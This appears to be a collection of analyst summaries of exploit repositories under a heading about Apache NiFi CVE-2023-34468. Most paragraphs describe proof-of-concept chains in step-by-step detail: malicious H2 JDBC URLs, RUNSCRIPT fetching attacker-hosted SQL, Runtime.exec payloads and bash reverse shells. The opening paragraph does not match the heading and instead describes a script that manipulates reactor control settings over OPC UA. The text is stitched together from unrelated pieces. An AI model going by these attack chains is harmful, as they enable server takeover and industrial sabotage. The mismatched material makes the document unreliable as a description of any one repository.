Code Injection in Apache NiFi DBCPConnectionPool and HikariCPConnectionPool via H2 JDBC URL

The repository contains one Python script, pressure_window.py, using the asyncua OPC UA client library. The script connects to a hard-coded local OPC UA endpoint at 127.0.0.1:4840 under the /helix/ path. It performs an initial set of typed OPC UA writes and then loops indefinitely, reapplying the same values every 200 ms while reading and printing reactor temperature. The hard-coded target model indicates an industrial/reactor control context: it changes Control.Mode to MAINTENANCE, enables Control.TestOverride, and sets Reactor.CalibrationOffset to 11.0. This is an operational process-manipulation script rather than a detection utility: its repeated writes are intended to preserve manipulated controller state. No CVE, vendor, or specific OPC UA product is identified.

This repository is a small standalone Python proof-of-concept exploit for Apache NiFi CVE-2023-34468. The repo contains one primary code file (CVE-2023-34468.py), a README, requirements.txt, and .gitignore. The exploit is not part of a larger framework. The Python script automates an RCE chain against Apache NiFi by interacting with the NiFi REST API under /nifi-api. Based on the README and visible code structure, it performs: processor discovery or manual selection of an ExecuteSQL processor, retrieval of current processor configuration, extraction of writable configuration fields, replacement of the SQL query with a malicious H2 RUNSCRIPT-based query, processor state changes to trigger execution, and cleanup/restoration afterward. The script uses requests, argparse, and helper functions for API URL construction, JSON request handling, processor updates, and state restoration. The exploit’s main capability is remote command execution via a Bash reverse shell. It generates a local malicious SQL file named rce.sql, expects the operator to host it over HTTP (example: python3 -m http.server 8000), and instructs the operator to run a listener (example: nc on port 4444). NiFi is then coerced into fetching the SQL payload remotely through H2 RUNSCRIPT, which executes a Java-backed command path that launches a reverse shell to the attacker-controlled LHOST:LPORT. Operationally, this is more than a simple detector: it is a working exploit with a concrete payload and cleanup logic, so OPERATIONAL is appropriate. It is not heavily weaponized because payload hosting and listener setup are manual and there is no broad framework integration. The exploit requires reachable NiFi API access and sufficient privileges to modify the target ExecuteSQL processor; if automatic discovery finds zero or multiple candidates, the operator must provide a processor UUID manually. Fingerprintable targets and infrastructure include the NiFi API base path /nifi-api, the generated payload file rce.sql, the attacker-hosted HTTP service used to deliver that file, and the reverse-shell callback host/port. The README examples reference http://flow.helix.htb as a sample target, 10.10.16.53 as the callback IP, port 8000 for payload hosting, and port 4444 for the shell listener.

This repository is a small standalone Python proof-of-concept exploit for CVE-2023-34468 in Apache NiFi. It contains one code file (2023.py), a README, LICENSE, and .gitignore. The Python script is the sole exploit entry point and uses the requests library to interact directly with the NiFi REST API. The exploit workflow is operational rather than merely demonstrative: it generates two payload files locally, rev.sh and rce.sql. The SQL payload abuses H2's INIT=RUNSCRIPT feature by embedding a Java alias that executes shell commands through /bin/bash -c. The target NiFi instance is coerced into fetching rce.sql from an attacker-controlled HTTP server by updating the controller service property 'Database Connection URL' to a malicious H2 JDBC string. That SQL then causes the target to download rev.sh via curl to /tmp/r.sh and execute it, producing a bash reverse shell to the attacker. The script automates the required NiFi state transitions: it queries processor and controller service revision numbers, stops the processor, disables the controller service, updates the JDBC URL, re-enables the service to trigger the H2 payload, and restarts the processor. This indicates the exploit requires authenticated API access and knowledge of valid SERVICE_ID and PROCESSOR_ID values. It targets Apache NiFi versions prior to 1.22.0, with the README specifically stating 0.0.2 through 1.21.0 / <=1.21.0. Notable fingerprintable artifacts include the NiFi API path /nifi-api, controller-services and processors endpoints, the malicious JDBC URL containing INIT=RUNSCRIPT, attacker-hosted payload URLs, and the target-side temporary file /tmp/r.sh. The repository is a real exploit, not a detection script, and its end result is authenticated RCE with a reverse shell.

This repository is a compact, working Python proof-of-concept exploit for CVE-2023-34468 targeting Apache NiFi <= 1.21.0. It contains two files: a single executable exploit script (CVE-2023-34468_poc.py) and a README describing the vulnerability, prerequisites, and usage. The exploit is not part of a larger framework. The Python script automates the full attack chain against the NiFi REST API. It first checks whether the target is reachable and whether the current user context has controller write permissions via /nifi-api/flow/current-user. It then retrieves the root process group ID, creates a DBCPConnectionPool controller service configured to use the bundled H2 JDBC driver, enables that service, and creates an ExecuteSQL processor. The processor is configured with an H2 SQL statement: RUNSCRIPT FROM 'http://{attacker}/rce.sql'. In parallel, the exploit starts a local HTTP server that serves /rce.sql. The served SQL payload uses H2 CREATE ALIAS to define a Java method that invokes Runtime.getRuntime().exec() and then calls it with a bash reverse shell command. When the malicious ExecuteSQL processor is started, the NiFi target fetches the SQL over HTTP and executes it, causing the target to connect back to the attacker on the configured reverse-shell port. This gives the operator remote code execution on the NiFi host. The exploit includes cleanup logic to stop and delete the created processor and disable/delete the controller service, reducing artifacts left on the target. Overall, the repository purpose is offensive exploitation of a NiFi RCE condition through abuse of NiFi controller services, the bundled H2 driver, and H2 RUNSCRIPT remote SQL execution.

Small standalone Python exploit repository for CVE-2023-34468 against Apache NiFi. Repository contains one executable script (exploit.py), a README with usage and attack flow, a minimal requirements.txt listing requests, and a license. The exploit is not part of a larger framework. The script automates exploitation of NiFi’s vulnerable controller-service database configuration by interacting with the NiFi REST API. It supports three access modes: unauthenticated access to exposed NiFi instances, username/password authentication to obtain a bearer token, or direct bearer-token use. It first normalizes the target URL, disables TLS verification warnings, and uses a requests session for API calls. Core capability: remote command execution via a malicious H2 JDBC URL. The exploit generates random names for an H2 database file and trigger, then builds a JDBC string pointing to /tmp/<random>.db with an embedded CREATE TRIGGER statement. The trigger uses H2 JavaScript execution to call java.lang.Runtime.getRuntime().exec() and run a bash command that decodes a base64-encoded attacker payload and executes it. This is intended to avoid quoting/parsing issues and is commonly used for reverse shells. Operational flow described in the README and reflected in the code: detect auth support, optionally authenticate, query NiFi version, get the root process group, create a malicious DBCPConnectionPool controller service, create/configure an ExecuteSQL processor tied to that service, enable the service, then start the processor so the H2 trigger fires when a DB connection is made. The script also includes cleanup logic to remove created artifacts unless --no-cleanup is specified. Fingerprintable targets are the NiFi REST API paths under /nifi-api, the H2 JDBC URL pattern, the temporary database path under /tmp, and the expected H2 driver JAR locations under /opt/nifi/nifi-toolkit-current/lib/. The exploit’s result is arbitrary OS command execution in the NiFi process context, typically yielding a reverse shell if the supplied command is a callback payload.

This repository is a small, focused exploit PoC for CVE-2023-34468 affecting Apache NiFi <= 1.21.0. It contains one Python exploit script and one README. The Python file is the clear entry point and implements the full attack chain rather than simple detection. Structure and purpose: - CVE-2023-34468_poc.py: standalone Python exploit using requests plus a built-in HTTP server. - README.md: explains the vulnerability, prerequisites, usage, and attack flow. Main exploit capabilities: - Verifies target reachability and queries NiFi for current-user permissions. - Requires controller/process-group write capability; aborts if canWrite is false. - Retrieves the root process group ID from the NiFi API. - Creates a DBCPConnectionPool controller service configured to use the bundled H2 JDBC driver. - Enables that controller service using NiFi revision-aware API calls. - Creates an ExecuteSQL processor whose SQL query is H2 RUNSCRIPT FROM 'http://attacker/rce.sql'. - Hosts /rce.sql locally via an embedded HTTP server so the target can fetch attacker-controlled SQL. - The SQL defines an H2 CREATE ALIAS Java method that invokes Runtime.getRuntime().exec() and launches a bash reverse shell to the attacker. - Optionally cleans up by stopping/disabling and deleting the created processor and controller service. Operational flow: 1. Start local HTTP server on attacker-controlled port (default 80). 2. Check NiFi access and permissions. 3. Create malicious controller service using H2 driver path inside NiFi. 4. Enable the service. 5. Create ExecuteSQL processor pointing to attacker-hosted rce.sql. 6. Start processor, causing NiFi to fetch and execute the SQL payload. 7. Receive reverse shell on attacker listener (default TCP 4444). 8. If requested, remove artifacts from NiFi. Notable targeting details: - The exploit is aimed at Apache NiFi <= 1.21.0 and specifically abuses NiFi's ability to instantiate the bundled H2 driver through DBCPConnectionPool. - It depends on outbound connectivity from the target to the attacker over HTTP for payload retrieval and over TCP for the reverse shell callback. - The payload is Linux/Unix-oriented because it hardcodes bash and /dev/tcp. Overall, this is a real, functional RCE exploit PoC with a hardcoded reverse-shell payload and limited customization via command-line arguments, making it best classified as OPERATIONAL rather than a mere proof-of-concept detector.

This repository contains a single Metasploit module (modules/exploits/linux/http/apache_nifi_h2_rce.rb) that exploits CVE-2023-34468, a remote code execution vulnerability in Apache NiFi versions 0.0.2 through 1.21.0. The exploit targets the DBCPConnectionPool and HikariCPConnectionPool Controller Services, allowing an authenticated attacker to configure a malicious H2 database connection string that triggers arbitrary code execution via a crafted SQL trigger. The module is written in Ruby and leverages Metasploit's HTTP client and NiFi helper modules. It requires valid credentials and network access to the NiFi API (typically on port 8443). Upon successful exploitation, the module delivers a base64-encoded bash reverse shell payload, resulting in multiple shells being opened to the attacker's system. The exploit interacts with several API endpoints and file paths specific to the NiFi installation and H2 database driver. The code is operational and suitable for real-world exploitation, provided the attacker has the necessary access.